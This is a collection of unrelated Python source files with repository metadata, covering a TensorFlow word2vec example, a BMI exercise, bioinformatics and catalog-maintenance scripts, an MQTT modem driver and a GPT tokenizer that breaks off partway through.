null

UTF-8

Python

false

13,350

py

# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Basic word2vec example.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import math import os import sys import argparse import random from tempfile import gettempdir import zipfile import numpy as np from six.moves import urllib from six.moves import xrange # pylint: disable=redefined-builtin import tensorflow as tf from tensorflow.contrib.tensorboard.plugins import projector # Give a folder path as an argument with '--log_dir' to save # TensorBoard summaries. Default is a log folder in current directory. current_path = os.path.dirname(os.path.realpath(sys.argv[0])) parser = argparse.ArgumentParser() parser.add_argument( '--log_dir', type=str, default=os.path.join(current_path, 'log'), help='The log directory for TensorBoard summaries.') FLAGS, unparsed = parser.parse_known_args() # Create the directory for TensorBoard variables if there is not. if not os.path.exists(FLAGS.log_dir): os.makedirs(FLAGS.log_dir) # Step 1: Download the data. url = 'http://mattmahoney.net/dc/' # pylint: disable=redefined-outer-name def maybe_download(filename, expected_bytes): """Download a file if not present, and make sure it's the right size.""" local_filename = os.path.join(gettempdir(), filename) if not os.path.exists(local_filename): local_filename, _ = urllib.request.urlretrieve(url + filename, local_filename) statinfo = os.stat(local_filename) if statinfo.st_size == expected_bytes: print('Found and verified', filename) else: print(statinfo.st_size) raise Exception('Failed to verify ' + local_filename + ' Can you get to it with a browser?') return local_filename filename = maybe_download('text8.zip', 31344016) # Read the data into a list of strings. def read_data(filename): """Extract the first file enclosed in a zip file as a list of words.""" with zipfile.ZipFile(filename) as f: data = tf.compat.as_str(f.read(f.namelist()[0])).split() return data vocabulary = read_data(filename) print('Data size', len(vocabulary)) # Step 2: Build the dictionary and replace rare words with UNK token. vocabulary_size = 50000 def build_dataset(words, n_words): """Process raw inputs into a dataset.""" count = [['UNK', -1]] # unknown word count.extend(collections.Counter(words).most_common(n_words - 1)) # get the most common words dictionary = dict() for word, _ in count: dictionary[word] = len(dictionary) # label each word with a number data = list() unk_count = 0 for word in words: index = dictionary.get(word, 0) if index == 0: # dictionary['UNK'] unk_count += 1 data.append(index) count[0][1] = unk_count reversed_dictionary = dict(zip(dictionary.values(), dictionary.keys())) return data, count, dictionary, reversed_dictionary # Filling 4 global variables: # data - list of codes (integers from 0 to vocabulary_size-1). # This is the original text but words are replaced by their codes # count - map of words(strings) to count of occurrences # dictionary - map of words(strings) to their codes(integers) # reverse_dictionary - maps codes(integers) to words(strings) data, count, dictionary, reverse_dictionary = build_dataset(vocabulary, vocabulary_size) del vocabulary # Hint to reduce memory. print('Most common words (+UNK)', count[:5]) print('Sample data', data[:10], [reverse_dictionary[i] for i in data[:10]]) data_index = 0 # Step 3: Function to generate a training batch for the skip-gram model. def generate_batch(batch_size, num_skips, skip_window): global data_index assert batch_size % num_skips == 0 assert num_skips <= 2 * skip_window batch = np.ndarray(shape=(batch_size), dtype=np.int32) labels = np.ndarray(shape=(batch_size, 1), dtype=np.int32) span = 2 * skip_window + 1 # [ skip_window target skip_window ] buffer = collections.deque(maxlen=span) # pylint: disable=redefined-builtin if data_index + span > len(data): data_index = 0 buffer.extend(data[data_index:data_index + span]) data_index += span for i in range(batch_size // num_skips): context_words = [w for w in range(span) if w != skip_window] words_to_use = random.sample(context_words, num_skips) for j, context_word in enumerate(words_to_use): batch[i * num_skips + j] = buffer[skip_window] labels[i * num_skips + j, 0] = buffer[context_word] if data_index == len(data): buffer.extend(data[0:span]) data_index = span else: buffer.append(data[data_index]) data_index += 1 # Backtrack a little bit to avoid skipping words in the end of a batch data_index = (data_index + len(data) - span) % len(data) return batch, labels batch, labels = generate_batch(batch_size=8, num_skips=2, skip_window=1) for i in range(8): print(batch[i], reverse_dictionary[batch[i]], '->', labels[i, 0], reverse_dictionary[labels[i, 0]]) # Step 4: Build and train a skip-gram model. batch_size = 128 embedding_size = 128 # Dimension of the embedding vector. skip_window = 1 # How many words to consider left and right. num_skips = 2 # How many times to reuse an input to generate a label. num_sampled = 64 # Number of negative examples to sample. # We pick a random validation set to sample nearest neighbors. Here we limit the # validation samples to the words that have a low numeric ID, which by # construction are also the most frequent. These 3 variables are used only for # displaying model accuracy, they don't affect calculation. valid_size = 16 # Random set of words to evaluate similarity on. valid_window = 100 # Only pick dev samples in the head of the distribution. valid_examples = np.random.choice(valid_window, valid_size, replace=False) graph = tf.Graph() with graph.as_default(): # Input data. with tf.name_scope('inputs'): train_inputs = tf.placeholder(tf.int32, shape=[batch_size]) train_labels = tf.placeholder(tf.int32, shape=[batch_size, 1]) valid_dataset = tf.constant(valid_examples, dtype=tf.int32) # Ops and variables pinned to the CPU because of missing GPU implementation with tf.device('/cpu:0'): # Look up embeddings for inputs. with tf.name_scope('embeddings'): embeddings = tf.Variable( tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0)) embed = tf.nn.embedding_lookup(embeddings, train_inputs) # Construct the variables for the NCE loss with tf.name_scope('weights'): nce_weights = tf.Variable( tf.truncated_normal( [vocabulary_size, embedding_size], stddev=1.0 / math.sqrt(embedding_size))) with tf.name_scope('biases'): nce_biases = tf.Variable(tf.zeros([vocabulary_size])) # Compute the average NCE loss for the batch. # tf.nce_loss automatically draws a new sample of the negative labels each # time we evaluate the loss. # Explanation of the meaning of NCE loss: # http://mccormickml.com/2016/04/19/word2vec-tutorial-the-skip-gram-model/ with tf.name_scope('loss'): loss = tf.reduce_mean( tf.nn.nce_loss( weights=nce_weights, biases=nce_biases, labels=train_labels, inputs=embed, num_sampled=num_sampled, num_classes=vocabulary_size)) # Add the loss value as a scalar to summary. tf.summary.scalar('loss', loss) # Construct the SGD optimizer using a learning rate of 1.0. with tf.name_scope('optimizer'): optimizer = tf.train.GradientDescentOptimizer(1.0).minimize(loss) # Compute the cosine similarity between minibatch examples and all embeddings. norm = tf.sqrt(tf.reduce_sum(tf.square(embeddings), 1, keep_dims=True)) normalized_embeddings = embeddings / norm valid_embeddings = tf.nn.embedding_lookup(normalized_embeddings, valid_dataset) similarity = tf.matmul(valid_embeddings, normalized_embeddings, transpose_b=True) # Merge all summaries. merged = tf.summary.merge_all() # Add variable initializer. init = tf.global_variables_initializer() # Create a saver. saver = tf.train.Saver() # Step 5: Begin training. num_steps = 100001 with tf.Session(graph=graph) as session: # Open a writer to write summaries. writer = tf.summary.FileWriter(FLAGS.log_dir, session.graph) # We must initialize all variables before we use them. init.run() print('Initialized') average_loss = 0 for step in xrange(num_steps): batch_inputs, batch_labels = generate_batch(batch_size, num_skips, skip_window) feed_dict = {train_inputs: batch_inputs, train_labels: batch_labels} # Define metadata variable. run_metadata = tf.RunMetadata() # We perform one update step by evaluating the optimizer op (including it # in the list of returned values for session.run() # Also, evaluate the merged op to get all summaries from the returned "summary" variable. # Feed metadata variable to session for visualizing the graph in TensorBoard. _, summary, loss_val = session.run( [optimizer, merged, loss], feed_dict=feed_dict, run_metadata=run_metadata) average_loss += loss_val # Add returned summaries to writer in each step. writer.add_summary(summary, step) # Add metadata to visualize the graph for the last run. if step == (num_steps - 1): writer.add_run_metadata(run_metadata, 'step%d' % step) if step % 2000 == 0: if step > 0: average_loss /= 2000 # The average loss is an estimate of the loss over the last 2000 batches. print('Average loss at step ', step, ': ', average_loss) average_loss = 0 # Note that this is expensive (~20% slowdown if computed every 500 steps) if step % 10000 == 0: sim = similarity.eval() for i in xrange(valid_size): valid_word = reverse_dictionary[valid_examples[i]] top_k = 8 # number of nearest neighbors nearest = (-sim[i, :]).argsort()[1:top_k + 1] log_str = 'Nearest to %s:' % valid_word for k in xrange(top_k): close_word = reverse_dictionary[nearest[k]] log_str = '%s %s,' % (log_str, close_word) print(log_str) final_embeddings = normalized_embeddings.eval() # Write corresponding labels for the embeddings. with open(FLAGS.log_dir + '/metadata.tsv', 'w') as f: for i in xrange(vocabulary_size): f.write(reverse_dictionary[i] + '\n') # Save the model for checkpoints. saver.save(session, os.path.join(FLAGS.log_dir, 'model.ckpt')) # Create a configuration for visualizing embeddings with the labels in TensorBoard. config = projector.ProjectorConfig() embedding_conf = config.embeddings.add() embedding_conf.tensor_name = embeddings.name embedding_conf.metadata_path = os.path.join(FLAGS.log_dir, 'metadata.tsv') projector.visualize_embeddings(writer, config) writer.close() # Step 6: Visualize the embeddings. # pylint: disable=missing-docstring # Function to draw visualization of distance between embeddings. def plot_with_labels(low_dim_embs, labels, filename): assert low_dim_embs.shape[0] >= len(labels), 'More labels than embeddings' plt.figure(figsize=(18, 18)) # in inches for i, label in enumerate(labels): x, y = low_dim_embs[i, :] plt.scatter(x, y) plt.annotate( label, xy=(x, y), xytext=(5, 2), textcoords='offset points', ha='right', va='bottom') plt.savefig(filename) try: # pylint: disable=g-import-not-at-top from sklearn.manifold import TSNE import matplotlib.pyplot as plt tsne = TSNE(perplexity=30, n_components=2, init='pca', n_iter=5000, method='exact') plot_only = 500 low_dim_embs = tsne.fit_transform(final_embeddings[:plot_only, :]) labels = [reverse_dictionary[i] for i in xrange(plot_only)] plot_with_labels(low_dim_embs, labels, os.path.join(gettempdir(), 'tsne.png')) except ImportError as ex: print('Please install sklearn, matplotlib, and scipy to show embeddings.') print(ex)

[ "abdcelikkanat@gmail.com" ]

abdcelikkanat@gmail.com

dab5a55c04a4f4242ed5725c95704470f8d27791

aa30891b324f86fe9c6a3eeeb6a9b8ae64b7d81d

/ex043.py

3f7ab5d16e10be268d9e4f0765ca04086af2ad88

[]

no_license

JoamirS/Exercicios-Python

0055c5f73b9d0fb2d5d780c620bb0c4840c7d1b8

09b74babdfdf7142254a8d14132859e52f7b52b6

refs/heads/master

2023-08-31T13:21:03.310332

2023-08-26T03:42:58

178,745,611

0

null

UTF-8

Python

false

874

py

''' Desenvolva uma lógica que leia o peso e a altura de uma pessoa, calcule seu IMC e mostre seu status, de acordo com a tabela abaixo: - Abaixo de 18.5: Abaixo do Peso | - Entre 18.5 e 25: Peso ideal | 25 até 30: Sobrepeso | 30 até 40: Obesidade - Acima de 40: Obesidade Morbida ''' #Declarando as variáveis print('\033[31mExemplo: KG 70\033[0;0m') weight = float(input('Digite seu peso: KG ')) print('\033[31mExemplo: M 1.85\033[0;0m') height = float(input('Digite sua altura: M ')) imc = weight / (height ** 2) print('O IMC desta pessoa é {:.1f}'.format(imc)) #Declarando as condições if imc < 18.5: print('Você está abaixo do peso') elif 18.5 <= imc < 25: print('Você está na faixa de peso ideal') elif 25 <= imc < 30: print('Sobrepeso') elif 30 <= imc < 40: print('Obesidade') elif imc >= 40: print('Obesidade Mórbida')

[ "jmrsilveira@outlook.com" ]

jmrsilveira@outlook.com

59a142c83b55cf70c1b11cd1a379207fea009324

3e97071e538e9a08d104b6937079ad2e87049028

/GCAT_2_1_run_analysis.py

760ae48f9c04298815635b92c26733b1b1306ed3

[]

no_license

cuelee/regen

4f26fba4fbb5f224d4f758b80bb8ff742909ce14

dce9790b48c0228f4abb602b6b231908665a6ddb

refs/heads/master

2020-03-21T22:15:28.880119

2018-07-11T10:46:41

139,114,849

1

0

null

UTF-8

Python

false

1,361

py

###################### ## Created by Cue Hyunkyu Lee ## Date Jan 17 2018 ## ## import modules import sys import os ## Read input arguments print("The current code is: {}".format(sys.argv[0])); print("The number of arguments is: {}".format(len(sys.argv))); snp_file = sys.argv[1]; catalog_dir = os.path.dirname(snp_file); out_file = os.path.join(catalog_dir,"catalogIn1000G.txt"); tg_file = sys.argv[2]; ## Read GWAS catalog snp file print("\nStart reading snp file") catalog_snps = []; n = 0; with open(snp_file,"r") as fin: for line in fin: splitted = line.strip(); catalog_snps.append(splitted); n = n + 1; print("The total number of lines: {}".format(n)); print("\nComplete reading snp file"); ## set indice catalog_dict = dict((j,i) for (i,j) in enumerate(catalog_snps)); found_vec = [False] * len(catalog_snps); ## Read VEP print("\nStart reading tg data"); n = 0; with open(tg_file,"r") as fin, open(out_file,"w") as fout: for line in fin: splitted = line.strip().split("\t"); cur_snp=splitted[1]; if ( cur_snp in catalog_dict ): print(" ".join(map(str,splitted)),file=fout); found_vec[catalog_dict[cur_snp]] = True; n = n + 1; print("The total number of founds: {}".format(n)); print("\nComplete reading TG_data"); n=0; for i in range(len(found_vec)): if(found_vec[i] == False): n=n+1; print("n = {}".format(n))

[ "cue.h.lee@gmail.com" ]

cue.h.lee@gmail.com

32feabe5a60e6f5718692006002449e8ee5150a2

14825fa733275154b41452fcdb7d4a35ec897495

/sim7020/sim7020_mqtt.py

1ab17a41aa10bf44d3ece3c40f10b4209fbc81db

[ "MIT" ]

permissive

tedchiu/am7020_raspberry

7865834000dbff920937a967facd797f4cd29d41

8b4acddb66ad056102a626cc6a5300ad98e43f0d

refs/heads/main

2023-01-10T07:48:46.212758

2020-11-16T06:02:22

null

0

null

UTF-8

Python

false

4,687

py

#!/usr/bin/env python # -*- coding: utf-8 -*- # # sim7020_mqtt.py # @Author : Zack Huang () # @Link : zack@atticedu.com # @Date : 2020/11/7 下午4:12:24 from random import randint from time import time, sleep from typing import Dict CONN_BROKER_TIMEOUT_MS = 90 NUM_OF_SUB = 30 class SIM7020MQTT(): def __init__(self, nb): self.sub_list = [] self.nb = nb def newMQTT(self, server, port): # New MQTT. refer AT CMD 11.2.1 self.nb.sendAT("+CMQNEW=\"", server, "\",", port, ",30000,1132") if((self.nb.waitResponse(30, "+CMQNEW: 0") == 1) and (self.nb.waitResponse() == 1)): return True return False def chkMQTTChOpen(self): # New MQTT. refer AT CMD 11.2.1 self.nb.sendAT("+CMQNEW?") if(self.nb.waitResponse(10, "+CMQNEW: 0,") == 1): used_state = self.nb.streamGetIntBefore(',') self.nb.streamSkipUntil('\n') self.nb.waitResponse() return (used_state == 1) return False def connMQTT(self, mqtt_id, username, password, cleansession): # Send MQTT Connection Packet. refer AT CMD 11.2.2 self.nb.sendAT("+CMQCON=0,4,\"", mqtt_id, "\",20000,", int(cleansession), ",0,\"", username, "\",\"", password, "\"") return (self.nb.waitResponse(30) == 1) def chkMQTTChConn(self): # Send MQTT Connection Packet. refer AT CMD 11.2.2 self.nb.sendAT("+CMQCON?") if(self.nb.waitResponse(10, "+CMQCON: 0,") == 1): conn_state = self.nb.streamGetIntBefore(',') self.nb.waitResponse() return (conn_state == 1) return False def closeMQTTCh(self): # Disconnect MQTT. refer AT CMD 11.2.3 self.nb.sendAT("+CMQDISCON=0") return (self.nb.waitResponse(2) == 1) def setSyncMode(self, value): # Configure MQTT Synchronization Mode. refer AT CMD 11.2.14 self.nb.sendAT("+CMQTSYNC=", value) return (self.nb.waitResponse(2) == 1) def connBroker(self, server, port=1883, username="", password="", mqtt_id="", cleansession=True): # Note: 超過keepalive_interval時間會自動斷開。 temp_mqtt_id = "" if(mqtt_id == ""): temp_mqtt_id = "sim7020_mqttid_" + str(randint(0, 65535)) else: temp_mqtt_id = mqtt_id startTime = time()+CONN_BROKER_TIMEOUT_MS while(time() < startTime): if(not self.chkMQTTChOpen()): # Delay is used here because the SIM7020 module has a bug. sleep(1) self.closeMQTTCh() if(self.setSyncMode(1)): self.newMQTT(server, port) continue else: if(not self.chkMQTTChConn()): self.connMQTT(temp_mqtt_id, username, password, cleansession) continue return True return False def chkConnBroker(self): return self.chkMQTTChConn() def publish(self, topic, msg, qos=0): # Send MQTT Publish Packet. refer AT CMD 11.2.6 self.nb.sendAT("+CMQPUB=0,\"", topic, "\",", qos, ",0,0,", len(str(msg)), ",\"", str(msg), "\"") return (self.nb.waitResponse(10) == 1) def subscribe(self, topic, callback, qos=0): if(len(self.sub_list) <= NUM_OF_SUB): # Send MQTT Subscribe Packet. refer AT CMD 11.2.4 self.nb.sendAT("+CMQSUB=0,\"", topic, "\",", qos) self.nb.waitResponse(10) temp_sub = (topic, callback) self.sub_list.append(temp_sub) # Note: 此library有開啟MQTT Synchronization Mode，只要訂閱數量未超過設定上限(NUM_OF_SUB)都將視為訂閱成功。 return True else: print("Subscription limit exceeded !") return False def unSubscribe(self, topic): # Send MQTT Unsubscribe Packet. refer AT CMD 11.2.5 self.nb.sendAT("+CMQUNSUB=0,\"", topic, "\"") return (self.nb.waitResponse(10) == 1) def procSubs(self): if(self.nb.waitResponse(0.01, "+CMQPUB: ") == 1): self.ParseSubMsg() def ParseSubMsg(self): if(self.nb.streamSkipUntil(',')): topic = self.nb.streamGetStringBefore(',')[1:-1] if(self.nb.streamSkipUntil('\"')): msg = self.nb.streamGetStringBefore('\n')[:-2] for sub in self.sub_list: if(sub[0] == topic): sub[1](msg) return print("not find topic")

[ "zack@atticedu.com" ]

zack@atticedu.com

26d720a549d070b0a29ae849b5a1da4a78b33e17

6996d66c2e5438af8e9ab534a168387ec437f846

/ch3/queue.py

b0a4001b44950011ce3aa037799e2e3aef18b44c

[]

no_license

ziwenjie/datastructuer-in-python

f7d69ba69fb3ddbfba4c1d113ed8dcbd23f4c788

eb044c04376681bb0d67456fe7d200c39af7ceea

refs/heads/master

2022-12-03T13:52:46.427379

2020-08-27T08:10:17

290,450,350

1

0

null

UTF-8

Python

false

96

py

from pythonds.basic.queue import Queue q = Queue() print(q.isEmpty()) q.enqueue('dog') print(q)

[ "noreply@github.com" ]

ziwenjie.noreply@github.com

3f225b2ed128a5ca734a39185b73e70d25f1f414

ecd04e18c0bc7e690e81274a401602458becf9e5

/scripts/test.py

8442a76b9b62d776df40924ec2c0efee441f0f23

[]

no_license

abner0908/cloud_robot

c7b69249af672e0c68ca7927e66aaaedd7e42047

98e2f7b9fbce6008bd82bfcbeed1aad7f22ff830

refs/heads/master

2016-08-12T08:28:13.239680

2016-05-04T07:06:45

47,419,829

0

null

UTF-8

Python

false

1,564

py

from common import clock class FPS: def __init__(self): # store the start time, end time, and total number of frames # that were examined between the start and end intervals self._start = None self._end = None self._numFrames = 0 self._window_size = 120 def __str__(self): self.stop() return str(self.fps()) def __float__(self): self.stop() return self.fps() def start(self): # start the timer self._start = clock() return self def stop(self): # stop the timer self._end = clock() def update(self): # increment the total number of frames examined during the # start and end intervals self._numFrames += 1 if self._numFrames == self._window_size * 2: self._numFrames -= 120 self._start = self._window_start if self._numFrames == self._window_size: self._window_start = clock() def elapsed(self): # return the total number of seconds between the start and # end interval if self._start == None or self._end == None: raise Exception( "to get the fps value before the fps runs start or stop function.") return (self._end - self._start) def fps(self): # compute the (approximate) frames per second return self._numFrames / self.elapsed() if __name__ == "__main__": fps = FPS() print fps

[ "abner0908@gmail.com" ]

abner0908@gmail.com

a0632e225303452902c28c5c8052bdbbf59f3fea

7fc11cb1ac572e46caa5d3a197ce7052d9ca0d59

/check_process/add_new_contrib.py

c3664509be50c22c61625d59db72dd29c015d78b

[ "Apache-2.0" ]

permissive

agrogeophy/catalog

247ed10f6c4b256e4de296f121594a8150aef7f1

fcac33e4404436927fe92f03c9166e7ec459677a

refs/heads/master

2023-04-07T21:09:10.705642

2022-03-15T17:51:24

292,792,330

2

3

null

2021-01-12T09:54:06

2020-09-04T08:22:53

JavaScript

UTF-8

Python

false

3,901

py

# -*- coding: utf-8 -*- """ Created on Tue Jan 26 18:31:14 2021 @author: Benjamin """ import sys import pandas as pd import json import datetime from datetime import date import argparse # import eml_parser # import email # from email import policy # from email.parser import BytesParser import rich.console import rich.highlighter import rich.pretty DEFAULT_DB = '../db.csv' parser = argparse.ArgumentParser(description='Process new contribution') parser.add_argument('-csv', type=str, help='csv') parser.add_argument('-raw', type=str, help='raw csv') parser.add_argument('-eml_file', type=str, help='eml new contribution filename') parser.add_argument('-db', type=str, help='db filename', default=DEFAULT_DB) args = parser.parse_args() def make_console(verbose): """ Start up the :class:`rich.console.Console` instance we'll use. Parameters ---------- verbose : bool Whether or not to print status messages to stderr. """ return rich.console.Console(stderr=True, quiet=not verbose, highlight=False) def main(): verbose = True console = make_console(verbose) style = "bold blue" try: process(verbose, console, style) except Exception: style = "bold red" console.print() console.rule(":fire: Error messages start here :fire:", style=style) console.print_exception() console.rule(":fire: Error messages above :fire:", style=style) console.print() def process(verbose,console, style,**kargs): csv = args.csv db_name = args.db db = pd.read_csv(db_name) console.print('db before update', style=style) console.print(db[-3:]) console.print('save a backup with date flag', style=style) today = date.today() console.print("Today's date:", today, style=style) db.to_csv('../backup/' +'db_backup' + str(today) +'.csv',sep=',') #%% read new contribution new = pd.read_csv(csv) print(new['id'][0], new['surname'][0], new['name'][0]) check_values(new,console,style) check_duplicate(db,new,console,style) add_to_db(db,new,db_name,console,style) def check_values(new,console,style): console.print('checking value types', style=style) email_ck = '@' lat_long = 'float' contribution_type = 'Peer reviewed publication' publication_date_ck = datetime.date new_dict = new.to_dict() if isinstance(new_dict['publication_date'][0], publication_date_ck): console.print('publication_date not correct', style='bold red') sys.exit() if '@' not in new_dict['email'][0]: console.print('email not correct', new_dict['email'][0], style='bold red') sys.exit() def check_duplicate(db,new,console,style): console.print('checking duplicates', style=style) unique_keys_check = ['publication_link','latitude'] db_dict = db.to_dict() new_dict = new.to_dict() pub_link = db['publication_link'].tolist() if new_dict['publication_link'][0] in pub_link: console.print('simililar DOI', style='bold red') sys.exit() def add_to_db(db,new,db_name,console,style): new['id']=db['id'].max()+1 db = db.append(new) console.print('db after update', style=style) console.print(db[-3:]) db.to_csv(db_name,sep=',',index=False) today = date.today() name_backup = new['surname'][0] + new['name'][0] + str(today) + '.csv' new.to_csv('../backup/'+ str(name_backup),sep=',',index=False) def eml_parser(): ''' Parse directly from eml file ''' eml_file_new_contrib = args.eml_file with open(eml_file_new_contrib, 'rb') as fp: # select a specific email file from the list name = fp.name # Get file name msg = BytesParser(policy=policy.default).parse(fp) text = msg.get_content() fp.close() print(text) if __name__ == '__main__': main()

[ "36472081+BenjMy@users.noreply.github.com" ]

36472081+BenjMy@users.noreply.github.com

defc0969405d537025d9bf7bd5b186bcd14100b8

c6456a52afd45432368f25350017f3821a63f0c9

/hw2/part2/pytorch_pretrained_bert/tokenization_openai.py

605566c013f1f58d5b682401b22c8a332c47d1fe

[]

no_license

haoen0116/Applied-Deep-Learning-HW

cd44d64c72c6964407dc1a7d559ae582eb50e4c6

b315dce215a008a435b71e44761f468536fb6e4e

refs/heads/master

2022-11-18T14:48:04.031224

2019-09-09T07:21:51

207,227,238

0

1

null

2022-10-30T07:23:18

2019-09-09T04:58:15

Python

UTF-8

Python

false

13,592

py

# coding=utf-8 # Copyright 2018 The Open AI Team Authors and The HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tokenization classes for OpenAI GPT.""" from __future__ import (absolute_import, division, print_function, unicode_literals) import json import logging import os import re import sys from io import open from tqdm import tqdm from .file_utils import cached_path from .tokenization import BasicTokenizer logger = logging.getLogger(__name__) PRETRAINED_VOCAB_ARCHIVE_MAP = { 'openai-gpt': "https://s3.amazonaws.com/models.huggingface.co/bert/openai-gpt-vocab.json", } PRETRAINED_MERGES_ARCHIVE_MAP = { 'openai-gpt': "https://s3.amazonaws.com/models.huggingface.co/bert/openai-gpt-merges.txt", } PRETRAINED_VOCAB_POSITIONAL_EMBEDDINGS_SIZE_MAP = { 'openai-gpt': 512, } VOCAB_NAME = 'vocab.json' MERGES_NAME = 'merges.txt' SPECIAL_TOKENS_NAME = 'special_tokens.txt' def get_pairs(word): """ Return set of symbol pairs in a word. word is represented as tuple of symbols (symbols being variable-length strings) """ pairs = set() prev_char = word[0] for char in word[1:]: pairs.add((prev_char, char)) prev_char = char return pairs def text_standardize(text): """ fixes some issues the spacy tokenizer had on books corpus also does some whitespace standardization """ text = text.replace('—', '-') text = text.replace('–', '-') text = text.replace('―', '-') text = text.replace('…', '...') text = text.replace('´', "'") text = re.sub(r'''(-+|~+|!+|"+|;+|\?+|\++|,+|\)+|\(+|\\+|\/+|\*+|\[+|\]+|}+|{+|\|+|_+)''', r' \1 ', text) text = re.sub(r'\s*\n\s*', ' \n ', text) text = re.sub(r'[^\S\n]+', ' ', text) return text.strip() class OpenAIGPTTokenizer(object): """ BPE tokenizer. Peculiarities: - lower case all inputs - uses SpaCy tokenizer and ftfy for pre-BPE tokenization if they are installed, fallback to BERT's BasicTokenizer if not. - argument special_tokens and function set_special_tokens: can be used to add additional symbols (ex: "__classify__") to a vocabulary. """ @classmethod def from_pretrained(cls, pretrained_model_name_or_path, cache_dir=None, *inputs, **kwargs): """ Instantiate a PreTrainedBertModel from a pre-trained model file. Download and cache the pre-trained model file if needed. """ if pretrained_model_name_or_path in PRETRAINED_VOCAB_ARCHIVE_MAP: vocab_file = PRETRAINED_VOCAB_ARCHIVE_MAP[pretrained_model_name_or_path] merges_file = PRETRAINED_MERGES_ARCHIVE_MAP[pretrained_model_name_or_path] special_tokens_file = None else: vocab_file = os.path.join(pretrained_model_name_or_path, VOCAB_NAME) merges_file = os.path.join(pretrained_model_name_or_path, MERGES_NAME) special_tokens_file = os.path.join(pretrained_model_name_or_path, SPECIAL_TOKENS_NAME) if not os.path.exists(special_tokens_file): special_tokens_file = None else: logger.info("loading special tokens file {}".format(special_tokens_file)) # redirect to the cache, if necessary try: resolved_vocab_file = cached_path(vocab_file, cache_dir=cache_dir) resolved_merges_file = cached_path(merges_file, cache_dir=cache_dir) print('DDDDDDDDDDDDDDDDDDDDDDDDD', resolved_vocab_file) print('ddddddddddddddddddddddd', resolved_merges_file) except EnvironmentError: logger.error( "Model name '{}' was not found in model name list ({}). " "We assumed '{}' was a path or url but couldn't find files {} and {} " "at this path or url.".format( pretrained_model_name_or_path, ', '.join(PRETRAINED_VOCAB_ARCHIVE_MAP.keys()), pretrained_model_name_or_path, vocab_file, merges_file)) return None if resolved_vocab_file == vocab_file and resolved_merges_file == merges_file: logger.info("loading vocabulary file {}".format(vocab_file)) logger.info("loading merges file {}".format(merges_file)) else: logger.info("loading vocabulary file {} from cache at {}".format( vocab_file, resolved_vocab_file)) logger.info("loading merges file {} from cache at {}".format( merges_file, resolved_merges_file)) if pretrained_model_name_or_path in PRETRAINED_VOCAB_POSITIONAL_EMBEDDINGS_SIZE_MAP: # if we're using a pretrained model, ensure the tokenizer wont index sequences longer # than the number of positional embeddings max_len = PRETRAINED_VOCAB_POSITIONAL_EMBEDDINGS_SIZE_MAP[pretrained_model_name_or_path] kwargs['max_len'] = min(kwargs.get('max_len', int(1e12)), max_len) # Instantiate tokenizer. if special_tokens_file and 'special_tokens' not in kwargs: special_tokens = open(special_tokens_file, encoding='utf-8').read().split('\n')[:-1] else: special_tokens = kwargs.pop('special_tokens', []) tokenizer = cls(resolved_vocab_file, resolved_merges_file, special_tokens=special_tokens, *inputs, **kwargs) return tokenizer def __init__(self, vocab_file, merges_file, special_tokens=None, max_len=None): try: import ftfy import spacy self.nlp = spacy.load('en', disable=['parser', 'tagger', 'ner', 'textcat']) self.fix_text = ftfy.fix_text except ImportError: logger.warning("ftfy or spacy is not installed using BERT BasicTokenizer instead of SpaCy & ftfy.") self.nlp = BasicTokenizer(do_lower_case=True, never_split=special_tokens if special_tokens is not None else []) self.fix_text = None self.max_len = max_len if max_len is not None else int(1e12) self.encoder = json.load(open(vocab_file, encoding="utf-8")) self.decoder = {v:k for k,v in self.encoder.items()} merges = open(merges_file, encoding='utf-8').read().split('\n')[1:-1] merges = [tuple(merge.split()) for merge in merges] self.bpe_ranks = dict(zip(merges, range(len(merges)))) self.cache = {} self.set_special_tokens(special_tokens) def __len__(self): return len(self.encoder) + len(self.special_tokens) def set_special_tokens(self, special_tokens): """ Add a list of additional tokens to the encoder. The additional tokens are indexed starting from the last index of the current vocabulary in the order of the `special_tokens` list. """ if not special_tokens: self.special_tokens = {} self.special_tokens_decoder = {} return self.special_tokens = dict((tok, len(self.encoder) + i) for i, tok in enumerate(special_tokens)) self.special_tokens_decoder = {v:k for k, v in self.special_tokens.items()} if self.fix_text is None: # Using BERT's BasicTokenizer: we can update the tokenizer self.nlp.never_split = special_tokens logger.info("Special tokens {}".format(self.special_tokens)) def bpe(self, token): word = tuple(token[:-1]) + (token[-1] + '</w>',) if token in self.cache: return self.cache[token] pairs = get_pairs(word) if not pairs: return token+'</w>' while True: bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float('inf'))) if bigram not in self.bpe_ranks: break first, second = bigram new_word = [] i = 0 while i < len(word): try: j = word.index(first, i) new_word.extend(word[i:j]) i = j except: new_word.extend(word[i:]) break if word[i] == first and i < len(word)-1 and word[i+1] == second: new_word.append(first+second) i += 2 else: new_word.append(word[i]) i += 1 new_word = tuple(new_word) word = new_word if len(word) == 1: break else: pairs = get_pairs(word) word = ' '.join(word) if word == '\n </w>': word = '\n</w>' self.cache[token] = word return word def tokenize(self, text): """ Tokenize a string. """ split_tokens = [] if self.fix_text is None: # Using BERT's BasicTokenizer text = self.nlp.tokenize(text) for token in text: split_tokens.extend([t for t in self.bpe(token).split(' ')]) else: # Using SpaCy & ftfy (original tokenization process of OpenAI GPT) text = self.nlp(text_standardize(self.fix_text(text))) for token in text: split_tokens.extend([t for t in self.bpe(token.text.lower()).split(' ')]) return split_tokens def convert_tokens_to_ids(self, tokens): """ Converts a sequence of tokens into ids using the vocab. """ ids = [] if isinstance(tokens, str) or (sys.version_info[0] == 2 and isinstance(tokens, unicode)): if tokens in self.special_tokens: return self.special_tokens[tokens] else: return self.encoder.get(tokens, 0) for token in tokens: if token in self.special_tokens: ids.append(self.special_tokens[token]) else: 